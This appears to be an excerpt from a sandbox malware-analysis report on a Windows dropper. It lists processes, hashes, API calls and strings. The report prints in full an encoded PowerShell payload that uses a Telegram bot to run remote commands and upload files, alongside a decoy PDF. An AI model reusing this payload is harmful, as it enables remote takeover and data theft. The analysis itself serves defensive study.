Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e JABUAG8AawBlAG4AIAA9ACAAIgA3ADUANQA0ADMAMAA3ADYANgA5ADoAQQBBAEUAXwBsAG4AUQBUAFkAUwBYAHYAdQBzAGEASwBsAGsAcABOAHIAdgAyAEQAdgBZAHUAQwA3AEgAaABJADAAcwAwACIADQAKACQAVQBSAEwAIAA9ACAAIgBoAHQAdABwAHMAOgAvAC8AYQBwAGkALgB0AGUAbABlAGcAcgBhAG0ALgBvAHIAZwAvAGIAbwB0AHsAMAB9ACIAIAAtAGYAIAAkAFQAbwBrAGUAbgANAAoAJABsAGEAcwB0AEkARAAgAD0AIAAxADIAMwANAAoAJABzAGwAZQBlAHAAVABpAG0AZQAgAD0AIAAyAA0ACgAkAGkAZABlAG4AdABpAGYAaQBlAHIAIAA9ACAALQBqAG8AaQBuACAAKAAoADQAOAAuAC4ANQA3ACkAIAB8ACAARwBlAHQALQBSAGEAbgBkAG8AbQAgAC0AQwBvAHUAbgB0ACAANQAgAHwAIAAlACAAewBbAGMAaABhAHIAXQAkAF8AfQApAA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAASQBuAHYAbwBrAGUALQBCAG8AdABDAG0AZAAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACAAKAANAAoAIAAgACAAIAAgACAAIAAgACQAYwBvAG0AbQBhAG4AZAANAAoAIAAgACAAIAApAA0ACgAgACAAIAAgAHQAcgB5ACAAewANAAoAIAAgACAAIAAgACAAIAAgACQAcgBlAHMAdQBsAHQAIAA9ACAASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACgAJABjAG8AbQBtAGEAbgBkACkADQAKACAAIAAgACAAfQANAAoAIAAgACAAIABjAGEAdABjAGgAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAJAByAGUAcwB1AGwAdAAgAD0AIAAkAEUAcgByAG8AcgBbADAAXQAuAEUAeABjAGUAcAB0AGkAbwBuAA0ACgAgACAAIAAgAH0ADQAKACAAIAAgACAAJAByAGUAcwAgAD0AIAAiAFsAJABpAGQAZQBuAHQAaQBmAGkAZQByAF0AJQAwAEQAJQAwAEEAIgANAAoAIAAgACAAIAAkAHIAZQBzAHUAbAB0ACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAJAByAGUAcwAgACsAPQAgAFsAcwB0AHIAaQBuAGcAXQAkAF8AIAArACAAIgAlADAARAAlADAAQQAiAH0ADQAKAA0ACgAgACAAIAAgAGkAZgAoACQAcgBlAHMAIAAtAGUAcQAgACIAIgApAHsADQAKACAAIAAgACAAIAAgACAAIAAkAGwAYQBzAHQASQBEACAAPQAgACQAdQBwAGQAYQB0AGUAaQBkAA0ACgAgACAAIAAgACAAIAAgACAAYwBvAG4AdABpAG4AdQBlAA0ACgAgACAAIAAgAH0ADQAKACAAIAAgACAAaQBmACgAJAByAGUAcwAuAEwAZQBuAGcAdABoACAALQBnAHQAIAA0ADAAOQA1ACkAewANAAoAIAAgACAAIAAgACAAIAAgAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHIAZQBzAC4ATABlAG4AZwB0AGgAIAAvACAANAAwADkANQA7ACAAJABpACsAKwApACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAGUAZwBpAG4AIAA9ACAAJABpACAAKgAgADQAMAA5ADUADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAZQBuAGQAIAA9ACAAJABiAGUAZwBpAG4AIAArACAANAAwADkANAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACgAJABlAG4AZAAgAC0AZwB0ACAAJAByAGUAcwAuAEwAZQBuAGcAdABoACkAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGUAbgBkACAAPQAgACQAcgBlAHMALgBMAGUAbgBnAHQAaAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABkAGEAdABhACAAPQAgACIAYwBoAGEAdABfAGkAZAA9ACQAZgByAG8AbQAmAHQAZQB4AHQAPQAiACAAKwAgACQAcgBlAHMAWwAkAGIAZQBnAGkAbgAuAC4AJABlAG4AZABdAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAFUAUgBJACAAPQAgACIAJABVAFIATAAvAHMAZQBuAGQATQBlAHMAcwBhAGcAZQA/ACQAZABhAHQAYQAiAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJABVAFIASQAgAD4AIAAkAG4AdQBsAGwADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgAH0AIABlAGwAcwBlACAAewANAAoAIAAgACAAIAAgACAAIAAgACQAZABhAHQAYQAgAD0AIAAiAGMAaABhAHQAXwBpAGQAPQAkAGYAcgBvAG0AJgB0AGUAeAB0AD0AJAByAGUAcwAiACAADQAKACAAIAAgACAAIAAgACAAIAAkAFUAUgBJACAAPQAgACIAJABVAFIATAAvAHMAZQBuAGQATQBlAHMAcwBhAGcAZQA/ACQAZABhAHQAYQAiAA0ACgAgACAAIAAgACAAIAAgACAASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACQAVQBSAEkAIAA+ACAAJABuAHUAbABsAA0ACgAgACAAIAAgAH0ADQAKAH0ADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABJAG4AdgBvAGsAZQAtAEIAbwB0AEQAbwB3AG4AbABvAGEAZAAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACAAKAANAAoAIAAgACAAIAAgACAAIAAgACQARgBpAGwAZQBQAGEAdABoAA0ACgAgACAAIAAgACkADQAKACAAIAAgACAAQQBkAGQALQB0AHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBIAHQAdABwAA0ACgAgACAAIAAgACQARgBpAGUAbABkAE4AYQBtAGUAIAA9ACAAJwBkAG8AYwB1AG0AZQBuAHQAJwANAAoAIAAgACAAIAAkAGgAdAB0AHAAQwBsAGkAZQBuAHQASABhAG4AZABsAGUAcgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAEgAdAB0AHAALgBIAHQAdABwAEMAbABpAGUAbgB0AEgAYQBuAGQAbABlAHIADQAKACAAIAAgACAAJABoAHQAdABwAEMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4ASAB0AHQAcAAuAEgAdAB0AHAAYwBsAGkAZQBuAHQAIAAkAGgAdAB0AHAAQwBsAGkAZQBuAHQASABhAG4AZABsAGUAcgANAAoADQAKACAAIAAgACAAJABGAGkAbABlAFMAdAByAGUAYQBtACAAPQAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAFMAdAByAGUAYQBtAF0AOgA6AG4AZQB3ACgAJABGAGkAbABlAFAAYQB0AGgALAAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAE0AbwBkAGUAXQA6ADoATwBwAGUAbgApAA0ACgAgACAAIAAgACQARgBpAGwAZQBIAGUAYQBkAGUAcgAgAD0AIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBIAHQAdABwAC4ASABlAGEAZABlAHIAcwAuAEMAbwBuAHQAZQBuAHQARABpAHMAcABvAHMAaQB0AGkAbwBuAEgAZQBhAGQAZQByAFYAYQBsAHUAZQBdADoAOgBuAGUAdwAoACcAZgBvAHIAbQAtAGQAYQB0AGEAJwApAA0ACgAgACAAIAAgACQARgBpAGwAZQBIAGUAYQBkAGUAcgAuAE4AYQBtAGUAIAA9ACAAJABGAGkAZQBsAGQATgBhAG0AZQANAAoAIAAgACAAIAAkAEYAaQBsAGUASABlAGEAZABlAHIALgBGAGkAbABlAE4AYQBtAGUAIAA9ACAAKABTAHAAbABpAHQALQBQAGEAdABoACAAJABGAGkAbABlAFAAYQB0AGgAIAAtAGwAZQBhAGYAKQANAAoAIAAgACAAIAAkAEYAaQBsAGUAQwBvAG4AdABlAG4AdAAgAD0AIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBIAHQAdABwAC4AUwB0AHIAZQBhAG0AQwBvAG4AdABlAG4AdABdADoAOgBuAGUAdwAoACQARgBpAGwAZQBTAHQAcgBlAGEAbQApAA0ACgAgACAAIAAgACQARgBpAGwAZQBDAG8AbgB0AGUAbgB0AC4ASABlAGEAZABlAHIAcwAuAEMAbwBuAHQAZQBuAHQARABpAHMAcABvAHMAaQB0AGkAbwBuACAAPQAgACQARgBpAGwAZQBIAGUAYQBkAGUAcgANAAoAIAAgACAAIAAkAEYAaQBsAGUAQwBvAG4AdABlAG4AdAAuAEgAZQBhAGQAZQByAHMALgBDAG8AbgB0AGUAbgB0AFQAeQBwAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFcAZQBiAC4ATQBpAG0AZQBNAGEAcABwAGkAbgBnAF0AOgA6AEcAZQB0AE0AaQBtAGUATQBhAHAAcABpAG4AZwAoACQARgBpAGwAZQBQAGEAdABoACkAIAANAAoAIAAgACAAIAANAAoAIAAgACAAIAAkAE0AdQBsAHQAaQBwAGEAcgB0AEMAbwBuAHQAZQBuAHQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4ASAB0AHQAcAAuAE0AdQBsAHQAaQBwAGEAcgB0AEYAbwByAG0ARABhAHQAYQBDAG8AbgB0AGUAbgB0AF0AOgA6AG4AZQB3ACgAKQANAAoAIAAgACAAIAAkAE0AdQBsAHQAaQBwAGEAcgB0AEMAbwBuAHQAZQBuAHQALgBBAGQAZAAoACQARgBpAGwAZQBDAG8AbgB0AGUAbgB0ACkADQAKACAAIAAgACAADQAKACAAIAAgACAAJABoAHQAdABwAEMAbABpAGUAbgB0AC4AUABvAHMAdABBAHMAeQBuAGMAKAAiACQAVQBSAEwALwBzAGUAbgBkAEQAbwBjAHUAbQBlAG4AdAA/AGMAaABhAHQAXwBpAGQAPQAkAGYAcgBvAG0AIgAsACAAJABNAHUAbAB0AGkAcABhAHIAdABDAG8AbgB0AGUAbgB0ACkAIAA+ACAAJABuAHUAbABsAA0ACgB9AA0ACgANAAoAdwBoAGkAbABlACAAKAAkAHQAcgB1AGUAKQAgAHsADQAKACAAIAAgACAAdAByAHkAewANAAoAIAAgACAAIAAgACAAIAAgACQAaQBuAE0AZQBzAHMAYQBnAGUAIAA9ACAASQBuAHYAbwBrAGUALQBSAGUAcwB0AE0AZQB0AGgAbwBkACAALQBNAGUAdABoAG8AZAAgAEcAZQB0ACAALQBVAHIAaQAgACgAJABVAFIATAAgACsAJwAvAGcAZQB0AFUAcABkAGEAdABlAHMAPwBvAGYAZgBzAGUAdAA9ACcAIAArACAAKAAkAGwAYQBzAHQASQBEACAAKwAgADEAKQApACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAHQAbwBwAA0ACgAgACAAIAAgAH0ADQAKACAAIAAgACAAYwBhAHQAYwBoACAAewANAAoAIAAgACAAIAAgACAAIAAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgACQAKABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBNAGEAeABpAG0AdQBtACAAMQAwACkAIAANAAoAIAAgACAAIAAgACAAIAAgAGMAbwBuAHQAaQBuAHUAZQANAAoAIAAgACAAIAB9AA0ACgAgACAAIAAgACQAaQBuAE0AZQBzAHMAYQBnAGUALgByAGUAcwB1AGwAdAAgAHwAIABGAG8AcgBFAGEAYwBoAC0ATwBiAGoAZQBjAHQAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAJAB1AHAAZABhAHQAZQBpAGQAIAA9ACAAJABfAC4AdQBwAGQAYQB0AGUAXwBpAGQADQAKACAAIAAgACAAIAAgACAAIAAkAGYAcgBvAG0AIAA9ACAAJABfAC4AbQBlAHMAcwBhAGcAZQAuAGYAcgBvAG0ALgBpAGQADQAKACAAIAAgACAAIAAgACAAIAAkAGMAbwBtAG0AYQBuAGQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAXwAuAG0AZQBzAHMAYQBnAGUALgB0AGUAeAB0ACkAKQANAAoADQAKACAAIAAgACAAIAAgACAAIABpAGYAKAAkAGMAbwBtAG0AYQBuAGQALgBTAHUAYgBzAHQAcgBpAG4AZwAoADAALAAgADYAKQAgAC0AZQBxACAAIgAvAHMAbABlAGUAcAAiACkAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABzAGwAZQBlAHAAVABpAG0AZQAgAD0AIABbAGkAbgB0AF0AJABjAG8AbQBtAGEAbgBkAC4AUwB1AGIAcwB0AHIAaQBuAGcAKAA3ACkADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAZQBsAHMAZQBpAGYAKAAkAGMAbwBtAG0AYQBuAGQALgBTAHUAYgBzAHQAcgBpAG4AZwAoADAALAAgADQAKQAgAC0AZQBxACAAIgAvAGMAbQBkACIAKQB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGMAbwBtAG0AYQBuAGQAIAA9ACAAJABjAG8AbQBtAGEAbgBkAC4AUwB1AGIAcwB0AHIAaQBuAGcAKAA1ACkAIAAgACAAIAAgACAAIAAgACAAIAAgACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAbgB2AG8AawBlAC0AQgBvAHQAQwBtAGQAIAAtAGMAbwBtAG0AYQBuAGQAIAAkAGMAbwBtAG0AYQBuAGQADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAZQBsAHMAZQBpAGYAKAAkAGMAbwBtAG0AYQBuAGQALgBTAHUAYgBzAHQAcgBpAG4AZwAoADAALAAgADkAKQAgAC0AZQBxACAAIgAvAGQAbwB3AG4AbABvAGEAZAAiACkAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABGAGkAbABlAFAAYQB0AGgAIAA9ACAAJABjAG8AbQBtAGEAbgBkAC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAxADAAKQAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAEIAbwB0AEQAbwB3AG4AbABvAGEAZAAgAC0ARgBpAGwAZQBQAGEAdABoACAAJABGAGkAbABlAFAAYQB0AGgAIAAgACAAIAANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKACAAIAAgACAAIAAgACAAIABlAGwAcwBlACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABjAG0AZAAgAD0AIAAkAGMAbwBtAG0AYQBuAGQALgBTAHUAYgBzAHQAcgBpAG4AZwAoADEALAAgADUAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACgAJABpAGQAZQBuAHQAaQBmAGkAZQByACAALQBlAHEAIAAkAGMAbQBkACkAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGMAbwBtAG0AYQBuAGQAIAA9ACAAJABjAG8AbQBtAGEAbgBkAC4AUwB1AGIAcwB0AHIAaQBuAGcAKAA3ACkADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAASQBuAHYAbwBrAGUALQBCAG8AdABDAG0AZAAgAC0AYwBvAG0AbQBhAG4AZAAgACQAYwBvAG0AbQBhAG4AZAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAZQBsAHMAZQAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAVwByAGkAdABlAC0ASABvAHMAdAAgACIAUwBMAEUARQBQACIADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAAJAAoAEcAZQB0AC0AUgBhAG4AZABvAG0AIAAtAE0AYQB4AGkAbQB1AG0AIAAxADAAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKACAAIAAgACAAIAAgACAAIAAkAGwAYQBzAHQASQBEACAAPQAgACQAdQBwAGQAYQB0AGUAaQBkACAAIAAgACAAIAAgACAADQAKACAAIAAgACAAfQANAAoAIAAgACAAIABTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAkAHMAbABlAGUAcABUAGkAbQBlAA0ACgB9AA==
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	04:03:45
Start date:	14/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	04:03:45
Start date:	14/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	04:03:45
Start date:	14/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1724,i,10193653544518332854,3055548416538146672,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	7.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	8%
Total number of Nodes:	1369
Total number of Limit Nodes:	32

Executed Functions

Function 00007FF73A3F28C0 Relevance: 32.1, APIs: 10, Strings: 8, Instructions: 594
processsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF73A3F6D0C: GetLastError.KERNEL32 ref: 00007FF73A3F6D30

__std_fs_code_page.LIBCPMT ref: 00007FF73A3F29C8
__std_fs_convert_wide_to_narrow.LIBCPMT ref: 00007FF73A3F2A0C
__std_fs_convert_wide_to_narrow.LIBCPMT ref: 00007FF73A3F2A4D
CreateProcessW.KERNELBASE ref: 00007FF73A3F30F8
WaitForSingleObject.KERNEL32 ref: 00007FF73A3F310B
CloseHandle.KERNEL32 ref: 00007FF73A3F3115
CloseHandle.KERNEL32 ref: 00007FF73A3F311F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF73A3F32B0

Part of subcall function 00007FF73A3F1660: __std_exception_copy.LIBVCRUNTIME ref: 00007FF73A3F16C8

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF73A3F32E4
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF73A3F333E

Strings

/file.pdf, xrefs: 00007FF73A3F2A67
'; powershell.exe -e ', xrefs: 00007FF73A3F2DD2, 00007FF73A3F2DF4
ios_base::failbit set, xrefs: 00007FF73A3F32FB
JABUAG8AawBlAG4AIAA9ACAAIgA3ADUANQA0ADMAMAA3ADYANgA5ADoAQQBBAEUAXwBsAG4AUQBUAFkAUwBYAHYAdQBzAGEASwBsAGsAcABOAHIAdgAyAEQAdgBZAHUAQwA3AEgAaABJADAAcwAwACIADQAKACQAVQBSAEwAIAA9ACAAIgBoAHQAdABwAHMAOgAvAC8AYQBwAGkALgB0AGUAbABlAGcAcgBhAG0ALgBvAHIAZwAvAGIAbwB0AHsAMAB9, xrefs: 00007FF73A3F2C12
ios_base::badbit set, xrefs: 00007FF73A3F32EF
|~fqVG, xrefs: 00007FF73A3F28E7
powershell.exe -Command "Start-Process ', xrefs: 00007FF73A3F2CDA
ios_base::eofbit set, xrefs: 00007FF73A3F3302

Memory Dump Source

Source File: 00000000.00000002.3892129159.00007FF73A3F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A3F0000, based on PE: true

Associated: 00000000.00000002.3892081168.00007FF73A3F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892274488.00007FF73A414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892797670.00007FF73A426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892867027.00007FF73A429000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a3f0000_12.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$CloseHandle__std_fs_convert_wide_to_narrow$CreateErrorLastObjectProcessSingleWait__std_exception_copy__std_fs_code_page
String ID: '; powershell.exe -e '$/file.pdf$JABUAG8AawBlAG4AIAA9ACAAIgA3ADUANQA0ADMAMAA3ADYANgA5ADoAQQBBAEUAXwBsAG4AUQBUAFkAUwBYAHYAdQBzAGEASwBsAGsAcABOAHIAdgAyAEQAdgBZAHUAQwA3AEgAaABJADAAcwAwACIADQAKACQAVQBSAEwAIAA9ACAAIgBoAHQAdABwAHMAOgAvAC8AYQBwAGkALgB0AGUAbABlAGcAcgBhAG0ALgBvAHIAZwAvAGIAbwB0AHsAMAB9$ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set$powershell.exe -Command "Start-Process '$|~fqVG
API String ID: 1602825194-1633265721
Opcode ID: 41be19a45a8101ab6089faecaffeac4cb2b4cc33ac101a02d1ac3be11a66a440
Instruction ID: 61b44bb8bf4f67c1336aabf4b9c4c3f4b45dd90c886b1dab52b9aa2c41491b74
Opcode Fuzzy Hash: 41be19a45a8101ab6089faecaffeac4cb2b4cc33ac101a02d1ac3be11a66a440
Instruction Fuzzy Hash: 7D52E576A29BC695FF10DF68D8423EDA3A1FB84798F805236DA5C07A99DF78D180D310

Function 00007FF73A40FEE8 Relevance: 13.8, APIs: 9, Instructions: 276
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF73A40FACC: _invalid_parameter_noinfo.LIBCMT ref: 00007FF73A40FB0D
Part of subcall function 00007FF73A40FACC: _invalid_parameter_noinfo.LIBCMT ref: 00007FF73A40FB8B
Part of subcall function 00007FF73A40FACC: _invalid_parameter_noinfo.LIBCMT ref: 00007FF73A40FBDC

CreateFileW.KERNELBASE ref: 00007FF73A40FFEE
CreateFileW.KERNEL32 ref: 00007FF73A41003E
GetLastError.KERNEL32 ref: 00007FF73A41006E
GetFileType.KERNELBASE ref: 00007FF73A410083
GetLastError.KERNEL32 ref: 00007FF73A41008D
CloseHandle.KERNEL32 ref: 00007FF73A4100C0
CloseHandle.KERNEL32 ref: 00007FF73A410223
CreateFileW.KERNEL32 ref: 00007FF73A410258
GetLastError.KERNEL32 ref: 00007FF73A410267

Memory Dump Source

Source File: 00000000.00000002.3892129159.00007FF73A3F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A3F0000, based on PE: true

Associated: 00000000.00000002.3892081168.00007FF73A3F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892274488.00007FF73A414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892797670.00007FF73A426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892867027.00007FF73A429000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a3f0000_12.jbxd

Similarity

API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type
String ID:
API String ID: 1617910340-0
Opcode ID: cd617a6eb87e8d63d3f009fae8cd3b179463d396c4807aaae279dc048755ae53
Instruction ID: 944ac0af9c5cfb2b5372162a4846fcd25a33061b4d462e61cb2fcda9d5dd693a
Opcode Fuzzy Hash: cd617a6eb87e8d63d3f009fae8cd3b179463d396c4807aaae279dc048755ae53
Instruction Fuzzy Hash: 6BC1F23BB28A4195FB10EFA9D4822ACB761F789B98F520275DE1E57394CF38D411E310

Function 00007FF73A4059E0 Relevance: 6.2, APIs: 4, Instructions: 218
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetConsoleMode.KERNEL32(?,?,?,?,?,?,00000000,?,00000000,?,00000000,00000000,00000000,?,00007FF73A4059CB,?), ref: 00007FF73A405AFC
GetLastError.KERNEL32(?,?,?,?,?,?,00000000,?,00000000,?,00000000,00000000,00000000,?,00007FF73A4059CB,?), ref: 00007FF73A405B87

Memory Dump Source

Source File: 00000000.00000002.3892129159.00007FF73A3F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A3F0000, based on PE: true

Associated: 00000000.00000002.3892081168.00007FF73A3F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892274488.00007FF73A414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892797670.00007FF73A426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892867027.00007FF73A429000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a3f0000_12.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: 2e72a14a40dcdbc440ab8e2dea6762219126c6135b7ef8777481cfa15dd251e3
Instruction ID: 93d84f551808eff0354e09a76a203db6c7f8cb7941debcf8295b011636b0794a
Opcode Fuzzy Hash: 2e72a14a40dcdbc440ab8e2dea6762219126c6135b7ef8777481cfa15dd251e3
Instruction Fuzzy Hash: 649107B6E08651A5F750EF6D94412BDEBA0FB40B88F968079DE4E52684CF3CE441F722

Function 00007FF73A3F6D0C Relevance: 6.0, APIs: 4, Instructions: 49
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF73A3F6AA4: GetModuleHandleW.KERNEL32(?,?,?,00007FF73A3F6D26), ref: 00007FF73A3F6ABA
Part of subcall function 00007FF73A3F6AA4: GetProcAddress.KERNEL32(?,?,?,00007FF73A3F6D26), ref: 00007FF73A3F6ACA

GetLastError.KERNEL32 ref: 00007FF73A3F6D30

Part of subcall function 00007FF73A3FFE88: IsProcessorFeaturePresent.KERNEL32(?,?,?,?,00007FF73A3FDAC6,?,?,?,00007FF73A3FF64A), ref: 00007FF73A3FFEAE

GetFileAttributesW.KERNELBASE ref: 00007FF73A3F6D3F
__std_fs_open_handle.LIBCPMT ref: 00007FF73A3F6D68
CloseHandle.KERNEL32 ref: 00007FF73A3F6D7A

Memory Dump Source

Source File: 00000000.00000002.3892129159.00007FF73A3F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A3F0000, based on PE: true

Associated: 00000000.00000002.3892081168.00007FF73A3F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892274488.00007FF73A414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892797670.00007FF73A426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892867027.00007FF73A429000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a3f0000_12.jbxd

Similarity

API ID: Handle$AddressAttributesCloseErrorFeatureFileLastModulePresentProcProcessor__std_fs_open_handle
String ID:
API String ID: 156590933-0
Opcode ID: 6a6f73d8c6b678b20650fb784add4d01299f4f483c1c765fbfb181a8c8681b05
Instruction ID: 5143b97ce395f0a8fb6438d618e8cc86ff3bb772623076b254461ac6b7f92aef
